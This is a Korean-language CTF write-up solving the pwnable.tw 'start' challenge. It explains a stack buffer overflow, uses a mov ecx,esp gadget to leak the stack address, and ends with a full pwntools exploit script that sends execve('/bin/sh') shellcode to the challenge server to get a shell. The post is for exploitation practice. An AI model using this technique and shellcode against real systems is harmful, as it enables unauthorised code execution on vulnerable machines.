pwnable.tw - start [100 pts]

2018. 1. 5. 11:10

pwnable.tw - start [ 100 pts ]






pwnable.tw 풀이 시작!! (했는데..생각보다 쉽진 않네요 ㅎㅎ )


풀이 우선으로 하고 시간날 때마다 조금씩 정리해 보려고 합니다.






100 점 짜리 시작 문제이다. 우선 코드를 살펴보자.




write 와 read 시스템콜만 존재하는 매우 간단한 프로그램이다. 


문자열을 push 로 스택에 밀어넣고 write 해주고, read 로 사용자에게 입력을 받은 후 add esp, 0x14 를 통해 exit 를 호출한다.


add esp, 0x14 의 주소를 무조건 호출하고 있기 때문에 read 를 통해 해당 주소까지 값을 입력해주면 원하는 주소로 eip 를 변경해줄 수 있다.






0x41414141 로 EIP 를 변조했으니 이제 원하는 코드를 실행시킬 수 있다. 보호기법은 없지만 스택주소가 랜덤으로 바뀌기 때문에 jmp esp 를 쓰거나 또는 leak 을 해야 한다. 



gdb-peda$ asmsearch "jmp esp"

Searching for ASM code: 'jmp esp' in: binary ranges

Not found


jmp esp 는 없으니 mov 를 이용해 leak 을 하자.



gdb-peda$ asmsearch "mov ?,esp"

Searching for ASM code: 'mov ?,esp' in: binary ranges

0x08048087 : (89e1) mov    ecx,esp



해당 코드는 write 직전의 코드이기 때문에 결국 esp 를 ecx 에 넣고 write 콜을 해서 스택 주소를 leak 할 수 있다.


  



그리고 또 이어서 아래의 read 를 통해 두번째 입력을 해 줄 수 있다.


 이제 릭을 해온 스택 주소를 이용해서 버퍼주소로 ret 를 덮어주면 공격에 성공할 수 있다



# ex_start.py

#!/usr/bin/python from pwn import * # set context context(arch='i386',os='linux') # print info log.info("[*] pwnable.tw (start) exploit by hyunmini") # load and connect #r = remote("127.0.0.1",8000) r = remote("chall.pwnable.tw",10000) e = ELF('./start') rop = ROP(e) ### stage 0. leak stack addr log.info(" stage 0. leak stack address") leakgadget = p32(0x8048087) # mov ecx, esp / write syscall => leak stack addr payload0 = asm('nop')*20 payload0 += leakgadget r.recvuntil(':') r.send(payload0) leakaddr = u32(r.recv(4)) log.success(" leak addr : 0x"+hex(leakaddr)) ### stage 1. exploit log.info(" stage 1. exploit!") # make payload #shellcode = asm(shellcraft.dupsh(4)) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload1 = asm('nop')*20 payload1 += p32(leakaddr+20) payload1 += shellcode r.sendline(payload1) log.success(" [+] Success!! got shell") r.interactive()



끝~

+ Recent posts